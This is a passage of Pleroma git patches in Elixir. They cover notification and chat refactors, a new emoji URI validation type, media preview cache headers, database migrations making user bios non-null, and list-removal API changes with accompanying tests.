"hexpm", "583b8c13697c37179f1f82443bcc7ad2f76fbc0bf4c186606eebd658f7f2631b"}, "gen_smtp": {:hex, :gen_smtp, "0.15.0", "9f51960c17769b26833b50df0b96123605a8024738b62db747fece14eb2fbfcc", [:rebar3], [], "hexpm", "29bd14a88030980849c7ed2447b8db6d6c9278a28b11a44cafe41b791205440f"}, -- cgit v1.2.3 From d91c4feebeb199f7c584f0a4292ce6f9cc331798 Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 31 Aug 2020 11:02:54 +0200 Subject: Notification: Small refactor. --- lib/pleroma/notification.ex | 4 ++-- lib/pleroma/web/common_api/common_api.ex | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/notification.ex b/lib/pleroma/notification.ex index b952e81fa..8868a910e 100644 --- a/lib/pleroma/notification.ex +++ b/lib/pleroma/notification.ex @@ -649,8 +649,8 @@ def for_user_and_activity(user, activity) do |> Repo.one() end - @spec mark_as_read(User.t(), Activity.t()) :: {integer(), nil | [term()]} - def mark_as_read(%User{id: id}, %Activity{data: %{"context" => context}}) do + @spec mark_context_as_read(User.t(), String.t()) :: {integer(), nil | [term()]} + def mark_context_as_read(%User{id: id}, context) do from( n in Notification, join: a in assoc(n, :activity), diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 43e9e39a8..4ab533658 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -453,7 +453,7 @@ def unpin(id, user) do def add_mute(user, activity) do with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]), - _ <- Pleroma.Notification.mark_as_read(user, activity) do + _ <- Pleroma.Notification.mark_context_as_read(user, activity.data["context"]) do {:ok, activity} else {:error, _} -> {:error, dgettext("errors", "conversation is already muted")} -- cgit v1.2.3 From 0a839d51a7adb034d6514ea647d90546c829813d Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Mon, 31 Aug 2020 13:08:50 +0300 Subject: [#2497] Added Cache-Control response header for media proxy preview endpoint. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 94fae6cac..2afcd861a 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -107,8 +107,7 @@ defp handle_png_preview(%{params: params} = conn, url) do } ) do conn - |> put_resp_header("content-type", "image/png") - |> put_resp_header("content-disposition", "inline; filename=\"preview.png\"") + |> put_preview_response_headers() |> send_resp(200, thumbnail_binary) else _ -> @@ -126,8 +125,7 @@ defp handle_jpeg_preview(%{params: params} = conn, url) do %{max_width: thumbnail_max_width, max_height: thumbnail_max_height, quality: quality} ) do conn - |> put_resp_header("content-type", "image/jpeg") - |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") + |> put_preview_response_headers() |> send_resp(200, thumbnail_binary) else _ -> @@ -139,8 +137,7 @@ defp handle_video_preview(conn, url) do with {:ok, thumbnail_binary} <- MediaHelper.video_framegrab(url) do conn - |> put_resp_header("content-type", "image/jpeg") - |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") + |> put_preview_response_headers() |> send_resp(200, thumbnail_binary) else _ -> @@ -148,6 +145,13 @@ defp handle_video_preview(conn, url) do end end + defp put_preview_response_headers(conn) do + conn + |> put_resp_header("content-type", "image/jpeg") + |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") + |> put_resp_header("cache-control", "max-age=0, private, must-revalidate") + end + defp thumbnail_max_dimensions(params) do config = Config.get([:media_preview_proxy], []) -- cgit v1.2.3 From 0b621a834acf751332f4d202bd50d4ff3e789176 Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 31 Aug 2020 16:48:17 +0200 Subject: Chats: Add cascading delete on both referenced users. Also remove the now-superfluous join in the chat controller, which was only used to filter out these cases. --- .../web/pleroma_api/controllers/chat_controller.ex | 4 +--- .../migrations/20200831142509_chat_constraints.exs | 22 ++++++++++++++++++++++ test/chat_test.exs | 22 ++++++++++++++++++++++ 3 files changed, 45 insertions(+), 3 deletions(-) create mode 100644 priv/repo/migrations/20200831142509_chat_constraints.exs diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index 1f2e953f7..e8a1746d4 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -149,9 +149,7 @@ def index(%{assigns: %{user: %{id: user_id} = user}} = conn, _params) do from(c in Chat, where: c.user_id == ^user_id, where: c.recipient not in ^blocked_ap_ids, - order_by: [desc: c.updated_at], - inner_join: u in User, - on: u.ap_id == c.recipient + order_by: [desc: c.updated_at] ) |> Repo.all() diff --git a/priv/repo/migrations/20200831142509_chat_constraints.exs b/priv/repo/migrations/20200831142509_chat_constraints.exs new file mode 100644 index 000000000..868a40a45 --- /dev/null +++ b/priv/repo/migrations/20200831142509_chat_constraints.exs @@ -0,0 +1,22 @@ +defmodule Pleroma.Repo.Migrations.ChatConstraints do + use Ecto.Migration + + def change do + remove_orphans = """ + delete from chats where not exists(select id from users where ap_id = chats.recipient); + """ + + execute(remove_orphans) + + drop(constraint(:chats, "chats_user_id_fkey")) + + alter table(:chats) do + modify(:user_id, references(:users, type: :uuid, on_delete: :delete_all)) + + modify( + :recipient, + references(:users, column: :ap_id, type: :string, on_delete: :delete_all) + ) + end + end +end diff --git a/test/chat_test.exs b/test/chat_test.exs index 332f2180a..9e8a9ebf0 100644 --- a/test/chat_test.exs +++ b/test/chat_test.exs @@ -26,6 +26,28 @@ test "it creates a chat for a user and recipient" do assert chat.id end + test "deleting the user deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(user) + + refute Chat.get_by_id(chat.id) + end + + test "deleting the recipient deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(other_user) + + refute Chat.get_by_id(chat.id) + end + test "it returns and bumps a chat for a user and recipient if it already exists" do user = insert(:user) other_user = insert(:user) -- cgit v1.2.3 From dc3a418c270e48c6849159097f8bba57d2a2578e Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 1 Sep 2020 09:08:54 +0300 Subject: application.ex: disable warnings_as_errors at runtime see changed files for rationale --- lib/pleroma/application.ex | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index c0b5db9f1..005aba50a 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -39,6 +39,9 @@ def start(_type, _args) do # every time the application is restarted, so we disable module # conflicts at runtime Code.compiler_options(ignore_module_conflict: true) + # Disable warnings_as_errors at runtime, it breaks Phoenix live reload + # due to protocol consolidation warnings + Code.compiler_options(warnings_as_errors: false) Pleroma.Telemetry.Logger.attach() Config.Holder.save_default() Pleroma.HTML.compile_scrubbers() -- cgit v1.2.3 From 2ecc7d92308d624dc9edb50665d752a71f55f608 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 00:38:10 +0200 Subject: transmogrifier: Remove mastodon emoji-format from emoji field --- lib/pleroma/web/activity_pub/transmogrifier.ex | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index 76298c4a0..0831efadc 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -318,9 +318,6 @@ def fix_emoji(%{"tag" => tags} = object) when is_list(tags) do Map.put(mapping, name, data["icon"]["url"]) end) - # we merge mastodon and pleroma emoji into a single mapping, to allow for both wire formats - emoji = Map.merge(object["emoji"] || %{}, emoji) - Map.put(object, "emoji", emoji) end -- cgit v1.2.3 From a142da3e4f03f2bfee7af30cca59b0fdc82da73f Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 01:16:12 +0200 Subject: Add new Emoji Ecto.Type and fix emoji in Question --- .../activity_pub/object_validators/emoji.ex | 34 +++++++++++++++ .../object_validators/audio_validator.ex | 5 ++- .../object_validators/chat_message_validator.ex | 2 +- .../object_validators/event_validator.ex | 5 ++- .../object_validators/note_validator.ex | 11 ++++- .../object_validators/question_validator.ex | 5 ++- .../object_validators/chat_validation_test.exs | 1 + .../transmogrifier/question_handling_test.exs | 51 ++++++++++++++++++++++ 8 files changed, 105 insertions(+), 9 deletions(-) create mode 100644 lib/pleroma/ecto_type/activity_pub/object_validators/emoji.ex diff --git a/lib/pleroma/ecto_type/activity_pub/object_validators/emoji.ex b/lib/pleroma/ecto_type/activity_pub/object_validators/emoji.ex new file mode 100644 index 000000000..4aacc5c88 --- /dev/null +++ b/lib/pleroma/ecto_type/activity_pub/object_validators/emoji.ex @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.Emoji do + use Ecto.Type + + def type, do: :map + + def cast(data) when is_map(data) do + has_invalid_emoji? = + Enum.find(data, fn + {name, uri} when is_binary(name) and is_binary(uri) -> + # based on ObjectValidators.Uri.cast() + case URI.parse(uri) do + %URI{host: nil} -> true + %URI{host: ""} -> true + %URI{scheme: scheme} when scheme in ["https", "http"] -> false + _ -> true + end + + {_name, _uri} -> + true + end) + + if has_invalid_emoji?, do: :error, else: {:ok, data} + end + + def cast(_data), do: :error + + def dump(data), do: {:ok, data} + + def load(data), do: {:ok, data} +end diff --git a/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex b/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex index d1869f188..1a97c504a 100644 --- a/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AudioValidator do alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations + alias Pleroma.Web.ActivityPub.Transmogrifier import Ecto.Changeset @@ -33,8 +34,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AudioValidator do field(:attributedTo, ObjectValidators.ObjectID) field(:summary, :string) field(:published, ObjectValidators.DateTime) - # TODO: Write type - field(:emoji, :map, default: %{}) + field(:emoji, ObjectValidators.Emoji, default: %{}) field(:sensitive, :boolean, default: false) embeds_many(:attachment, AttachmentValidator) field(:replies_count, :integer, default: 0) @@ -83,6 +83,7 @@ defp fix(data) do data |> CommonFixes.fix_defaults() |> CommonFixes.fix_attribution() + |> Transmogrifier.fix_emoji() |> fix_url() end diff --git a/lib/pleroma/web/activity_pub/object_validators/chat_message_validator.ex b/lib/pleroma/web/activity_pub/object_validators/chat_message_validator.ex index 91b475393..6acd4a771 100644 --- a/lib/pleroma/web/activity_pub/object_validators/chat_message_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/chat_message_validator.ex @@ -22,7 +22,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatMessageValidator do field(:content, ObjectValidators.SafeText) field(:actor, ObjectValidators.ObjectID) field(:published, ObjectValidators.DateTime) - field(:emoji, :map, default: %{}) + field(:emoji, ObjectValidators.Emoji, default: %{}) embeds_one(:attachment, AttachmentValidator) end diff --git a/lib/pleroma/web/activity_pub/object_validators/event_validator.ex b/lib/pleroma/web/activity_pub/object_validators/event_validator.ex index 07e4821a4..0b4c99dc0 100644 --- a/lib/pleroma/web/activity_pub/object_validators/event_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/event_validator.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.EventValidator do alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations + alias Pleroma.Web.ActivityPub.Transmogrifier import Ecto.Changeset @@ -39,8 +40,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.EventValidator do field(:attributedTo, ObjectValidators.ObjectID) field(:published, ObjectValidators.DateTime) - # TODO: Write type - field(:emoji, :map, default: %{}) + field(:emoji, ObjectValidators.Emoji, default: %{}) field(:sensitive, :boolean, default: false) embeds_many(:attachment, AttachmentValidator) field(:replies_count, :integer, default: 0) @@ -74,6 +74,7 @@ defp fix(data) do data |> CommonFixes.fix_defaults() |> CommonFixes.fix_attribution() + |> Transmogrifier.fix_emoji() end def changeset(struct, data) do diff --git a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex b/lib/pleroma/web/activity_pub/object_validators/note_validator.ex index 20e735619..ab4469a59 100644 --- a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/note_validator.ex @@ -6,6 +6,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator do use Ecto.Schema alias Pleroma.EctoType.ActivityPub.ObjectValidators + alias Pleroma.Web.ActivityPub.Transmogrifier import Ecto.Changeset @@ -32,8 +33,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator do field(:actor, ObjectValidators.ObjectID) field(:attributedTo, ObjectValidators.ObjectID) field(:published, ObjectValidators.DateTime) - # TODO: Write type - field(:emoji, :map, default: %{}) + field(:emoji, ObjectValidators.Emoji, default: %{}) field(:sensitive, :boolean, default: false) # TODO: Write type field(:attachment, {:array, :map}, default: []) @@ -53,7 +53,14 @@ def cast_and_validate(data) do |> validate_data() end + defp fix(data) do + data + |> Transmogrifier.fix_emoji() + end + def cast_data(data) do + data = fix(data) + %__MODULE__{} |> cast(data, __schema__(:fields)) end diff --git a/lib/pleroma/web/activity_pub/object_validators/question_validator.ex b/lib/pleroma/web/activity_pub/object_validators/question_validator.ex index 712047424..934d3c1ea 100644 --- a/lib/pleroma/web/activity_pub/object_validators/question_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/question_validator.ex @@ -10,6 +10,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.QuestionValidator do alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations alias Pleroma.Web.ActivityPub.ObjectValidators.QuestionOptionsValidator + alias Pleroma.Web.ActivityPub.Transmogrifier import Ecto.Changeset @@ -35,8 +36,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.QuestionValidator do field(:attributedTo, ObjectValidators.ObjectID) field(:summary, :string) field(:published, ObjectValidators.DateTime) - # TODO: Write type - field(:emoji, :map, default: %{}) + field(:emoji, ObjectValidators.Emoji, default: %{}) field(:sensitive, :boolean, default: false) embeds_many(:attachment, AttachmentValidator) field(:replies_count, :integer, default: 0) @@ -85,6 +85,7 @@ defp fix(data) do data |> CommonFixes.fix_defaults() |> CommonFixes.fix_attribution() + |> Transmogrifier.fix_emoji() |> fix_closed() end diff --git a/test/web/activity_pub/object_validators/chat_validation_test.exs b/test/web/activity_pub/object_validators/chat_validation_test.exs index 50bf03515..16e4808e5 100644 --- a/test/web/activity_pub/object_validators/chat_validation_test.exs +++ b/test/web/activity_pub/object_validators/chat_validation_test.exs @@ -69,6 +69,7 @@ test "validates for a basic object we build", %{valid_chat_message: valid_chat_m assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) assert Map.put(valid_chat_message, "attachment", nil) == object + assert match?(%{"firefox" => _}, object["emoji"]) end test "validates for a basic object with an attachment", %{ diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs index c82361828..74ee79543 100644 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/question_handling_test.exs @@ -106,6 +106,57 @@ test "Mastodon Question activity with HTML tags in plaintext" do assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) end + test "Mastodon Question activity with custom emojis" do + options = [ + %{ + "type" => "Note", + "name" => ":blobcat:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => ":blobfox:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + } + ] + + tag = [ + %{ + "icon" => %{ + "type" => "Image", + "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" + }, + "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "name" => ":blobcat:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + }, + %{ + "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, + "id" => "https://blob.cat/emoji/blobfox/blobfox.png", + "name" => ":blobfox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + |> Kernel.put_in(["object", "tag"], tag) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert object.data["oneOf"] == options + + assert object.data["emoji"] == %{ + "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" + } + end + test "returns an error if received a second time" do data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() -- cgit v1.2.3 From b960cede9a3183098ac5eb330fbc4d1c14efc034 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 02:18:33 +0200 Subject: common_fixes: Force inserting context and context_id --- lib/pleroma/web/activity_pub/object_validators/common_fixes.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex b/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex index 721749de0..720213d73 100644 --- a/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex +++ b/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex @@ -11,8 +11,8 @@ def fix_defaults(data) do Utils.create_context(data["context"] || data["conversation"]) data - |> Map.put_new("context", context) - |> Map.put_new("context_id", context_id) + |> Map.put("context", context) + |> Map.put("context_id", context_id) end def fix_attribution(data) do -- cgit v1.2.3 From d9a21e4784a83a0780b353c967520cd203f44f3f Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 02:21:19 +0200 Subject: fetcher: Remove fix_object call for Question activities --- lib/pleroma/object/fetcher.ex | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index 6fdbc8efd..d26c5adf5 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -36,8 +36,7 @@ defp maybe_reinject_internal_fields(_, new_data), do: new_data defp reinject_object(%Object{data: %{"type" => "Question"}} = object, new_data) do Logger.debug("Reinjecting object #{new_data["id"]}") - with new_data <- Transmogrifier.fix_object(new_data), - data <- maybe_reinject_internal_fields(object, new_data), + with data <- maybe_reinject_internal_fields(object, new_data), {:ok, data, _} <- ObjectValidator.validate(data, %{}), changeset <- Object.change(object, %{data: data}), changeset <- touch_changeset(changeset), -- cgit v1.2.3 From 126461942b63bbb74900f296ebcee72d2a33f3d2 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 1 Sep 2020 09:25:32 +0300 Subject: User table: ensure bio is always a string Gets rid of '|| ""' in multiple places and fixes #2067 --- lib/pleroma/user.ex | 4 ++-- lib/pleroma/web/activity_pub/activity_pub.ex | 2 +- lib/pleroma/web/auth/pleroma_authenticator.ex | 2 +- lib/pleroma/web/mastodon_api/views/account_view.ex | 2 +- lib/pleroma/web/metadata/opengraph.ex | 2 +- lib/pleroma/web/metadata/twitter_card.ex | 2 +- priv/repo/migrations/20200901061256_ensure_bio_is_string.exs | 7 +++++++ priv/repo/migrations/20200901061637_bio_set_not_null.exs | 10 ++++++++++ test/user_test.exs | 2 +- test/web/admin_api/controllers/admin_api_controller_test.exs | 2 +- test/web/twitter_api/util_controller_test.exs | 2 +- 11 files changed, 27 insertions(+), 10 deletions(-) create mode 100644 priv/repo/migrations/20200901061256_ensure_bio_is_string.exs create mode 100644 priv/repo/migrations/20200901061637_bio_set_not_null.exs diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index d2ad9516f..94c96de8d 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -83,7 +83,7 @@ defmodule Pleroma.User do ] schema "users" do - field(:bio, :string) + field(:bio, :string, default: "") field(:raw_bio, :string) field(:email, :string) field(:name, :string) @@ -1587,7 +1587,7 @@ def purge_user_changeset(user) do # "Right to be forgotten" # https://gdpr.eu/right-to-be-forgotten/ change(user, %{ - bio: nil, + bio: "", raw_bio: nil, email: nil, name: nil, diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 624a508ae..333621413 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -1224,7 +1224,7 @@ defp object_to_user_data(data) do name: data["name"], follower_address: data["followers"], following_address: data["following"], - bio: data["summary"], + bio: data["summary"] || "", actor_type: actor_type, also_known_as: Map.get(data, "alsoKnownAs", []), public_key: public_key, diff --git a/lib/pleroma/web/auth/pleroma_authenticator.ex b/lib/pleroma/web/auth/pleroma_authenticator.ex index 200ca03dc..c611b3e09 100644 --- a/lib/pleroma/web/auth/pleroma_authenticator.ex +++ b/lib/pleroma/web/auth/pleroma_authenticator.ex @@ -68,7 +68,7 @@ def create_from_registration( nickname = value([registration_attrs["nickname"], Registration.nickname(registration)]) email = value([registration_attrs["email"], Registration.email(registration)]) name = value([registration_attrs["name"], Registration.name(registration)]) || nickname - bio = value([registration_attrs["bio"], Registration.description(registration)]) + bio = value([registration_attrs["bio"], Registration.description(registration)]) || "" random_password = :crypto.strong_rand_bytes(64) |> Base.encode64() diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 864c0417f..d2a30a548 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -245,7 +245,7 @@ defp do_render("show.json", %{user: user} = opts) do followers_count: followers_count, following_count: following_count, statuses_count: user.note_count, - note: user.bio || "", + note: user.bio, url: user.uri || user.ap_id, avatar: image, avatar_static: image, diff --git a/lib/pleroma/web/metadata/opengraph.ex b/lib/pleroma/web/metadata/opengraph.ex index 68c871e71..bb1b23208 100644 --- a/lib/pleroma/web/metadata/opengraph.ex +++ b/lib/pleroma/web/metadata/opengraph.ex @@ -61,7 +61,7 @@ def build_tags(%{ @impl Provider def build_tags(%{user: user}) do - with truncated_bio = Utils.scrub_html_and_truncate(user.bio || "") do + with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do [ {:meta, [ diff --git a/lib/pleroma/web/metadata/twitter_card.ex b/lib/pleroma/web/metadata/twitter_card.ex index 5d08ce422..df34b033f 100644 --- a/lib/pleroma/web/metadata/twitter_card.ex +++ b/lib/pleroma/web/metadata/twitter_card.ex @@ -40,7 +40,7 @@ def build_tags(%{activity_id: id, object: object, user: user}) do @impl Provider def build_tags(%{user: user}) do - with truncated_bio = Utils.scrub_html_and_truncate(user.bio || "") do + with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do [ title_tag(user), {:meta, [property: "twitter:description", content: truncated_bio], []}, diff --git a/priv/repo/migrations/20200901061256_ensure_bio_is_string.exs b/priv/repo/migrations/20200901061256_ensure_bio_is_string.exs new file mode 100644 index 000000000..0e3bb3c81 --- /dev/null +++ b/priv/repo/migrations/20200901061256_ensure_bio_is_string.exs @@ -0,0 +1,7 @@ +defmodule Pleroma.Repo.Migrations.EnsureBioIsString do + use Ecto.Migration + + def change do + execute("update users set bio = '' where bio is null", "") + end +end diff --git a/priv/repo/migrations/20200901061637_bio_set_not_null.exs b/priv/repo/migrations/20200901061637_bio_set_not_null.exs new file mode 100644 index 000000000..e3a67d4e7 --- /dev/null +++ b/priv/repo/migrations/20200901061637_bio_set_not_null.exs @@ -0,0 +1,10 @@ +defmodule Pleroma.Repo.Migrations.BioSetNotNull do + use Ecto.Migration + + def change do + execute( + "alter table users alter column bio set not null", + "alter table users alter column bio drop not null" + ) + end +end diff --git a/test/user_test.exs b/test/user_test.exs index 3cf248659..50f72549e 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1466,7 +1466,7 @@ test "delete/1 purges a user when they wouldn't be fully deleted" do user = User.get_by_id(user.id) assert %User{ - bio: nil, + bio: "", raw_bio: nil, email: nil, name: nil, diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..3bc88c6a9 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -203,7 +203,7 @@ test "single user", %{admin: admin, conn: conn} do assert user.note_count == 0 assert user.follower_count == 0 assert user.following_count == 0 - assert user.bio == nil + assert user.bio == "" assert user.name == nil assert called(Pleroma.Web.Federator.publish(:_)) diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs index 354d77b56..d164127ee 100644 --- a/test/web/twitter_api/util_controller_test.exs +++ b/test/web/twitter_api/util_controller_test.exs @@ -594,7 +594,7 @@ test "with proper permissions and valid password", %{conn: conn, user: user} do user = User.get_by_id(user.id) assert user.deactivated == true assert user.name == nil - assert user.bio == nil + assert user.bio == "" assert user.password_hash == nil end end -- cgit v1.2.3 From d8728580468ecf876e531440fa31aef6a3e33f7b Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 1 Sep 2020 12:48:39 +0200 Subject: Fix removing an account from a list Mastodon (Frontend) changed a different method for deletes, keeping old format as mastodon documentation is too loose --- .../web/api_spec/operations/list_operation.ex | 20 ++++++++++++++------ .../web/mastodon_api/controllers/list_controller.ex | 13 +++++++++++++ .../controllers/list_controller_test.exs | 20 +++++++++++++++++++- 3 files changed, 46 insertions(+), 7 deletions(-) diff --git a/lib/pleroma/web/api_spec/operations/list_operation.ex b/lib/pleroma/web/api_spec/operations/list_operation.ex index c88ed5dd0..15039052e 100644 --- a/lib/pleroma/web/api_spec/operations/list_operation.ex +++ b/lib/pleroma/web/api_spec/operations/list_operation.ex @@ -114,7 +114,7 @@ def add_to_list_operation do description: "Add accounts to the given list.", operationId: "ListController.add_to_list", parameters: [id_param()], - requestBody: add_remove_accounts_request(), + requestBody: add_remove_accounts_request(true), security: [%{"oAuth" => ["write:lists"]}], responses: %{ 200 => Operation.response("Empty object", "application/json", %Schema{type: :object}) @@ -127,8 +127,16 @@ def remove_from_list_operation do tags: ["Lists"], summary: "Remove accounts from list", operationId: "ListController.remove_from_list", - parameters: [id_param()], - requestBody: add_remove_accounts_request(), + parameters: [ + id_param(), + Operation.parameter( + :account_ids, + :query, + %Schema{type: :array, items: %Schema{type: :string}}, + "Array of account IDs" + ) + ], + requestBody: add_remove_accounts_request(false), security: [%{"oAuth" => ["write:lists"]}], responses: %{ 200 => Operation.response("Empty object", "application/json", %Schema{type: :object}) @@ -171,7 +179,7 @@ defp create_update_request do ) end - defp add_remove_accounts_request do + defp add_remove_accounts_request(required) when is_boolean(required) do request_body( "Parameters", %Schema{ @@ -180,9 +188,9 @@ defp add_remove_accounts_request do properties: %{ account_ids: %Schema{type: :array, description: "Array of account IDs", items: FlakeID} }, - required: [:account_ids] + required: required && [:account_ids] }, - required: true + required: required ) end end diff --git a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex index acdc76fd2..4df13cb81 100644 --- a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex @@ -86,6 +86,19 @@ def remove_from_list( json(conn, %{}) end + def remove_from_list( + %{assigns: %{list: list}, params: %{account_ids: account_ids}} = conn, + _ + ) do + Enum.each(account_ids, fn account_id -> + with %User{} = followed <- User.get_cached_by_id(account_id) do + Pleroma.List.unfollow(list, followed) + end + end) + + json(conn, %{}) + end + defp list_by_id_and_user(%{assigns: %{user: user}, params: %{id: id}} = conn, _) do case Pleroma.List.get(id, user) do %Pleroma.List{} = list -> assign(conn, :list, list) diff --git a/test/web/mastodon_api/controllers/list_controller_test.exs b/test/web/mastodon_api/controllers/list_controller_test.exs index 57a9ef4a4..091ec006c 100644 --- a/test/web/mastodon_api/controllers/list_controller_test.exs +++ b/test/web/mastodon_api/controllers/list_controller_test.exs @@ -67,7 +67,7 @@ test "adding users to a list" do assert following == [other_user.follower_address] end - test "removing users from a list" do + test "removing users from a list, body params" do %{user: user, conn: conn} = oauth_access(["write:lists"]) other_user = insert(:user) third_user = insert(:user) @@ -85,6 +85,24 @@ test "removing users from a list" do assert following == [third_user.follower_address] end + test "removing users from a list, query params" do + 